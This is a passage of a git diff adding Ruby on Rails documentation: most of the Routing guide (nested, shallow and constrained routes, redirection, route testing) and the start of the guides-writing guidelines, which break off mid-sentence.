ApplicationRecord + belongs_to :magazine +end +``` + +Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration: + +```ruby +resources :magazines do + resources :ads +end +``` + +In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: + +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine | + +This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). + +#### Limits to Nesting + +You can nest resources within other nested resources if you like. For example: + +```ruby +resources :publishers do + resources :magazines do + resources :photos + end +end +``` + +Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as: + +``` +/publishers/1/magazines/2/photos/3 +``` + +The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design: + +TIP: _Resources should never be nested more than 1 level deep._ + +#### Shallow Nesting + +One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this: + +```ruby +resources :articles do + resources :comments, only: [:index, :new, :create] +end +resources :comments, only: [:show, :edit, :update, :destroy] +``` + +This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option: + +```ruby +resources :articles do + resources :comments, shallow: true +end +``` + +This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow: + +```ruby +resources :articles, shallow: true do + resources :comments + resources :quotes + resources :drafts +end +``` + +The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example: + +```ruby +shallow do + resources :articles do + resources :comments + resources :quotes + resources :drafts + end +end +``` + +There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: + +```ruby +scope shallow_path: "sekret" do + resources :articles do + resources :comments, shallow: true + end +end +``` + +The comments resource here will have the following routes generated for it: + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------------- | ----------------- | ------------------------ | +| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path | +| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path | +| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path | +| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment_path | +| GET | /sekret/comments/:id(.:format) | comments#show | comment_path | +| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment_path | +| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment_path | + +The `:shallow_prefix` option adds the specified parameter to the named helpers: + +```ruby +scope shallow_prefix: "sekret" do + resources :articles do + resources :comments, shallow: true + end +end +``` + +The comments resource here will have the following routes generated for it: + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------------- | ----------------- | --------------------------- | +| GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path | +| POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path | +| GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path | +| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment_path | +| GET | /comments/:id(.:format) | comments#show | sekret_comment_path | +| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment_path | +| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment_path | + +### Routing concerns + +Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern: + +```ruby +concern :commentable do + resources :comments +end + +concern :image_attachable do + resources :images, only: :index +end +``` + +These concerns can be used in resources to avoid code duplication and share behavior across routes: + +```ruby +resources :messages, concerns: :commentable + +resources :articles, concerns: [:commentable, :image_attachable] +``` + +The above is equivalent to: + +```ruby +resources :messages do + resources :comments +end + +resources :articles do + resources :comments + resources :images, only: :index +end +``` + +Also you can use them in any place that you want inside the routes, for example in a `scope` or `namespace` call: + +```ruby +namespace :articles do + concerns :commentable +end +``` + +### Creating Paths and URLs From Objects + +In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes: + +```ruby +resources :magazines do + resources :ads +end +``` + +When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs: + +```erb +<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %> +``` + +You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want: + +```erb +<%= link_to 'Ad details', url_for([@magazine, @ad]) %> +``` + +In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call: + +```erb +<%= link_to 'Ad details', [@magazine, @ad] %> +``` + +If you wanted to link to just a magazine: + +```erb +<%= link_to 'Magazine details', @magazine %> +``` + +For other actions, you just need to insert the action name as the first element of the array: + +```erb +<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %> +``` + +This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style. + +### Adding More RESTful Actions + +You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection. + +#### Adding Member Routes + +To add a member route, just add a `member` block into the resource block: + +```ruby +resources :photos do + member do + get 'preview' + end +end +``` + +This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. + +Within the block of member routes, each route name specifies the HTTP verb +will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here +. If you don't have multiple `member` routes, you can also pass `:on` to a +route, eliminating the block: + +```ruby +resources :photos do + get 'preview', on: :member +end +``` + +You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`. + +#### Adding Collection Routes + +To add a route to the collection: + +```ruby +resources :photos do + collection do + get 'search' + end +end +``` + +This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers. + +Just as with member routes, you can pass `:on` to a route: + +```ruby +resources :photos do + get 'search', on: :collection +end +``` + +NOTE: If you're defining additional resource routes with a symbol as the first positional argument, be mindful that it is not equivalent to using a string. Symbols infer controller actions while strings infer paths. + +#### Adding Routes for Additional New Actions + +To add an alternate new action using the `:on` shortcut: + +```ruby +resources :comments do + get 'preview', on: :new +end +``` + +This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers. + +TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource. + +Non-Resourceful Routes +---------------------- + +In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application. + +While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit. + +In particular, simple routing makes it very easy to map legacy URLs to new Rails actions. + +### Bound Parameters + +When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route: + +```ruby +get 'photos(/:id)', to: 'photos#display' +``` + +If an incoming request of `/photos/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses. + +### Dynamic Segments + +You can set up as many dynamic segments within a regular route as you like. Any segment will be available to the action as part of `params`. If you set up this route: + +```ruby +get 'photos/:id/:user_id', to: 'photos#show' +``` + +An incoming path of `/photos/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`. + +TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash. + +### Static Segments + +You can specify static segments when creating a route by not prepending a colon to a fragment: + +```ruby +get 'photos/:id/with_user/:user_id', to: 'photos#show' +``` + +This route would respond to paths such as `/photos/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`. + +### The Query String + +The `params` will also include any parameters from the query string. For example, with this route: + +```ruby +get 'photos/:id', to: 'photos#show' +``` + +An incoming path of `/photos/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`. + +### Defining Defaults + +You can define defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example: + +```ruby +get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' } +``` + +Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`. + +You can also use `defaults` in a block format to define the defaults for multiple items: + +```ruby +defaults format: :json do + resources :photos +end +``` + +NOTE: You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path. + +### Naming Routes + +You can specify a name for any route using the `:as` option: + +```ruby +get 'exit', to: 'sessions#destroy', as: :logout +``` + +This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit` + +You can also use this to override routing methods defined by resources, like this: + +```ruby +get ':username', to: 'users#show', as: :user +``` + +This will define a `user_path` method that will be available in controllers, helpers, and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`. + +### HTTP Verb Constraints + +In general, you should use the `get`, `post`, `put`, `patch` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once: + +```ruby +match 'photos', to: 'photos#show', via: [:get, :post] +``` + +You can match all verbs to a particular route using `via: :all`: + +```ruby +match 'photos', to: 'photos#show', via: :all +``` + +NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to. + +NOTE: `GET` in Rails won't check for CSRF token. You should never write to the database from `GET` requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures. + +### Segment Constraints + +You can use the `:constraints` option to enforce a format for a dynamic segment: + +```ruby +get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ } +``` + +This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way: + +```ruby +get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/ +``` + +`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work: + +```ruby +get '/:id', to: 'articles#show', constraints: { id: /^\d/ } +``` + +However, note that you don't need to use anchors because all routes are anchored at the start. + +For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace: + +```ruby +get '/:id', to: 'articles#show', constraints: { id: /\d.+/ } +get '/:username', to: 'users#show' +``` + +### Request-Based Constraints + +You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`. + +You specify a request-based constraint the same way that you specify a segment constraint: + +```ruby +get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' } +``` + +You can also specify constraints in a block form: + +```ruby +namespace :admin do + constraints subdomain: 'admin' do + resources :photos + end +end +``` + +NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String. + +NOTE: There is an exception for the `format` constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied as such when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET /foo` because the format is optional by default. However, you can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` and the route will only match explicit JSON requests. + +### Advanced Constraints + +If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a restricted list to the `RestrictedListController`. You could do: + +```ruby +class RestrictedListConstraint + def initialize + @ips = RestrictedList.retrieve_ips + end + + def matches?(request) + @ips.include?(request.remote_ip) + end +end + +Rails.application.routes.draw do + get '*path', to: 'restricted_list#index', + constraints: RestrictedListConstraint.new +end +``` + +You can also specify constraints as a lambda: + +```ruby +Rails.application.routes.draw do + get '*path', to: 'restricted_list#index', + constraints: lambda { |request| RestrictedList.retrieve_ips.include?(request.remote_ip) } +end +``` + +Both the `matches?` method and the lambda gets the `request` object as an argument. + +### Route Globbing and Wildcard Segments + +Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example: + +```ruby +get 'photos/*other', to: 'photos#unknown' +``` + +This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments". + +Wildcard segments can occur anywhere in a route. For example: + +```ruby +get 'books/*section/:title', to: 'books#show' +``` + +would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`. + +Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example: + +```ruby +get '*a/foo/*b', to: 'test#index' +``` + +would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`. + +NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this: + +```ruby +get '*pages', to: 'pages#show', format: false +``` + +NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this: + +```ruby +get '*pages', to: 'pages#show', format: true +``` + +### Redirection + +You can redirect any path to another path using the `redirect` helper in your router: + +```ruby +get '/stories', to: redirect('/articles') +``` + +You can also reuse dynamic segments from the match in the path to redirect to: + +```ruby +get '/stories/:name', to: redirect('/articles/%{name}') +``` + +You can also provide a block to redirect, which receives the symbolized path parameters and the request object: + +```ruby +get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" } +get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" } +``` + +Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the `:status` option to change the response status: + +```ruby +get '/stories/:name', to: redirect('/articles/%{name}', status: 302) +``` + +In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request. + +### Routing to Rack Applications + +Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher: + +```ruby +match '/application.js', to: MyRackApp, via: :all +``` + +As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate. + +NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application. + +If you specify a Rack application as the endpoint for a matcher, remember that +the route will be unchanged in the receiving application. With the following +route your Rack application should expect the route to be `/admin`: + +```ruby +match '/admin', to: AdminApp, via: :all +``` + +If you would prefer to have your Rack application receive requests at the root +path instead, use `mount`: + +```ruby +mount AdminApp, at: '/admin' +``` + +### Using `root` + +You can specify what Rails should route `'/'` to with the `root` method: + +```ruby +root to: 'pages#main' +root 'pages#main' # shortcut for the above +``` + +You should put the `root` route at the top of the file, because it is the most popular route and should be matched first. + +NOTE: The `root` route only routes `GET` requests to the action. + +You can also use root inside namespaces and scopes as well. For example: + +```ruby +namespace :admin do + root to: "admin#index" +end + +root to: "home#index" +``` + +### Unicode character routes + +You can specify unicode character routes directly. For example: + +```ruby +get 'こんにちは', to: 'welcome#index' +``` + +### Direct routes + +You can create custom URL helpers directly. For example: + +```ruby +direct :homepage do + "http://www.rubyonrails.org" +end + +# >> homepage_url +# => "http://www.rubyonrails.org" +``` + +The return value of the block must be a valid argument for the `url_for` method. So, you can pass a valid string URL, Hash, Array, an Active Model instance, or an Active Model class. + +```ruby +direct :commentable do |model| + [ model, anchor: model.dom_id ] +end + +direct :main do + { controller: 'pages', action: 'index', subdomain: 'www' } +end +``` + +### Using `resolve` + +The `resolve` method allows customizing polymorphic mapping of models. For example: + +``` ruby +resource :basket + +resolve("Basket") { [:basket] } +``` + +``` erb +<%= form_for @basket do |form| %> + <!-- basket form --> +<% end %> +``` + +This will generate the singular URL `/basket` instead of the usual `/baskets/:id`. + +Customizing Resourceful Routes +------------------------------ + +While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers. + +### Specifying a Controller to Use + +The `:controller` option lets you explicitly specify a controller to use for the resource. For example: + +```ruby +resources :photos, controller: 'images' +``` + +will recognize incoming paths beginning with `/photos` but route to the `Images` controller: + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | images#index | photos_path | +| GET | /photos/new | images#new | new_photo_path | +| POST | /photos | images#create | photos_path | +| GET | /photos/:id | images#show | photo_path(:id) | +| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | images#update | photo_path(:id) | +| DELETE | /photos/:id | images#destroy | photo_path(:id) | + +NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource. + +For namespaced controllers you can use the directory notation. For example: + +```ruby +resources :user_permissions, controller: 'admin/user_permissions' +``` + +This will route to the `Admin::UserPermissions` controller. + +NOTE: Only the directory notation is supported. Specifying the +controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`) +can lead to routing problems and results in +a warning. + +### Specifying Constraints + +You can use the `:constraints` option to specify a required format on the implicit `id`. For example: + +```ruby +resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ } +``` + +This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match. + +You can specify a single constraint to apply to a number of routes by using the block form: + +```ruby +constraints(id: /[A-Z][A-Z][0-9]+/) do + resources :photos + resources :accounts +end +``` + +NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context. + +TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash. + +### Overriding the Named Helpers + +The `:as` option lets you override the normal naming for the named route helpers. For example: + +```ruby +resources :photos, as: 'images' +``` + +will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the `:as` option to name the helpers. + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | photos#index | images_path | +| GET | /photos/new | photos#new | new_image_path | +| POST | /photos | photos#create | images_path | +| GET | /photos/:id | photos#show | image_path(:id) | +| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | photos#update | image_path(:id) | +| DELETE | /photos/:id | photos#destroy | image_path(:id) | + +### Overriding the `new` and `edit` Segments + +The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths: + +```ruby +resources :photos, path_names: { new: 'make', edit: 'change' } +``` + +This would cause the routing to recognize paths such as: + +``` +/photos/make +/photos/1/change +``` + +NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions. + +TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope. + +```ruby +scope path_names: { new: 'make' } do + # rest of your routes +end +``` + +### Prefixing the Named Route Helpers + +You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example: + +```ruby +scope 'admin' do + resources :photos, as: 'admin_photos' +end + +resources :photos +``` + +This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc. + +To prefix a group of route helpers, use `:as` with `scope`: + +```ruby +scope 'admin', as: 'admin' do + resources :photos, :accounts +end + +resources :photos, :accounts +``` + +This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively. + +NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes. + +You can prefix routes with a named parameter also: + +```ruby +scope ':username' do + resources :articles +end +``` + +This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers, and views. + +### Restricting the Routes Created + +By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes: + +```ruby +resources :photos, only: [:index, :show] +``` + +Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail. + +The `:except` option specifies a route or list of routes that Rails should _not_ create: + +```ruby +resources :photos, except: :destroy +``` + +In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`). + +TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process. + +### Translated Paths + +Using `scope`, we can alter path names generated by `resources`: + +```ruby +scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do + resources :categories, path: 'kategorien' +end +``` + +Rails now creates routes to the `CategoriesController`. + +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------- | ------------------ | ----------------------- | +| GET | /kategorien | categories#index | categories_path | +| GET | /kategorien/neu | categories#new | new_category_path | +| POST | /kategorien | categories#create | categories_path | +| GET | /kategorien/:id | categories#show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) | +| DELETE | /kategorien/:id | categories#destroy | category_path(:id) | + +### Overriding the Singular Form + +If you want to define the singular form of a resource, you should add additional rules to the `Inflector`: + +```ruby +ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular 'tooth', 'teeth' +end +``` + +### Using `:as` in Nested Resources + +The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example: + +```ruby +resources :magazines do + resources :ads, as: 'periodical_ads' +end +``` + +This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`. + +### Overriding Named Route Parameters + +The `:param` option overrides the default resource identifier `:id` (name of +the [dynamic segment](routing.html#dynamic-segments) used to generate the +routes). You can access that segment from your controller using +`params[<:param>]`. + +```ruby +resources :videos, param: :identifier +``` + +``` + videos GET /videos(.:format) videos#index + POST /videos(.:format) videos#create + new_video GET /videos/new(.:format) videos#new +edit_video GET /videos/:identifier/edit(.:format) videos#edit +``` + +```ruby +Video.find_by(identifier: params[:identifier]) +``` + +You can override `ActiveRecord::Base#to_param` of a related model to construct +a URL: + +```ruby +class Video < ApplicationRecord + def to_param + identifier + end +end + +video = Video.find_by(identifier: "Roman-Holiday") +edit_video_path(video) # => "/videos/Roman-Holiday/edit" +``` + +Inspecting and Testing Routes +----------------------------- + +Rails offers facilities for inspecting and testing your routes. + +### Listing Existing Routes + +To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rails routes` command in your terminal to produce the same output. + +Both methods will list all of your routes, in the same order that they appear in `config/routes.rb`. For each route, you'll see: + +* The route name (if any) +* The HTTP verb used (if the route doesn't respond to all verbs) +* The URL pattern to match +* The routing parameters for the route + +For example, here's a small section of the `rails routes` output for a RESTful route: + +``` + users GET /users(.:format) users#index + POST /users(.:format) users#create + new_user GET /users/new(.:format) users#new +edit_user GET /users/:id/edit(.:format) users#edit +``` + +You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path. + +``` +$ rails routes -g new_comment +$ rails routes -g POST +$ rails routes -g admin +``` + +If you only want to see the routes that map to a specific controller, there's the -c option. + +``` +$ rails routes -c users +$ rails routes -c admin/users +$ rails routes -c Comments +$ rails routes -c Articles::CommentsController +``` + +TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap. You can also use --expanded option to turn on the expanded table formatting mode. + +### Testing Routes + +Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler: + +* `assert_generates` +* `assert_recognizes` +* `assert_routing` + +#### The `assert_generates` Assertion + +`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example: + +```ruby +assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' } +assert_generates '/about', controller: 'pages', action: 'about' +``` + +#### The `assert_recognizes` Assertion + +`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example: + +```ruby +assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1') +``` + +You can supply a `:method` argument to specify the HTTP verb: + +```ruby +assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post }) +``` + +#### The `assert_routing` Assertion + +The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`: + +```ruby +assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' }) +``` diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md new file mode 100644 index 0000000000..4b56cf6296 --- /dev/null +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -0,0 +1,173 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails Guides Guidelines +=============================== + +This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example. + +After reading this guide, you will know: + +* About the conventions to be used in Rails documentation. +* How to generate guides locally. + +-------------------------------------------------------------------------------- + +Markdown +------- + +Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics). + +Prologue +-------- + +Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html). + +Headings +------ + +The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`. + +``` +Guide Title +=========== + +Section +------- + +### Sub Section +``` + +When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be": + +``` +#### Middleware Stack is an Array +#### When are Objects Saved? +``` + +Use the same inline formatting as regular text: + +``` +##### The `:content_type` Option +``` + +Linking to the API +------------------ + +Links to the API (`api.rubyonrails.org`) are processed by the guides generator in the following manner: + +Links that include a release tag are left untouched. For example + +``` +http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html +``` + +is not modified. + +Please use these in release notes, since they should point to the corresponding version no matter the target being generated. + +If the link does not include a release tag and edge guides are being generated, the domain is replaced by `edgeapi.rubyonrails.org`. For example, + +``` +http://api.rubyonrails.org/classes/ActionDispatch/Response.html +``` + +becomes + +``` +http://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html +``` + +If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link + +``` +http://api.rubyonrails.org/classes/ActionDispatch/Response.html +``` + +becomes + +``` +http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html +``` + +Please don't link to `edgeapi.rubyonrails.org` manually. + + +API Documentation Guidelines +---------------------------- + +The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides: + +* [Wording](api_documentation_guidelines.html#wording) +* [English](api_documentation_guidelines.html#english) +* [Example Code](api_documentation_guidelines.html#example-code) +* [Filenames](api_documentation_guidelines.html#file-names) +* [Fonts](api_documentation_guidelines.html#fonts) + +HTML Guides +----------- + +Before generating the guides, make sure that you have the latest version of +Bundler installed on your system. You can find the latest Bundler version +[here](https://rubygems.org/gems/bundler). As of this writing, it's v1.17.1. + +To install the latest version of Bundler, run `gem install bundler`. + +### Generation + +To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute: + +``` +bundle exec rake guides:generate +``` + +or + +``` +bundle exec rake guides:generate:html +``` + +Resulting HTML files can be found in the `./output` directory. + +To process `my_guide.md` and nothing else use the `ONLY` environment variable: + +``` +touch my_guide.md +bundle exec rake guides:generate ONLY=my_guide +``` + +By default, guides that have not been modified are not processed, so `ONLY` is rarely needed in practice. + +To force 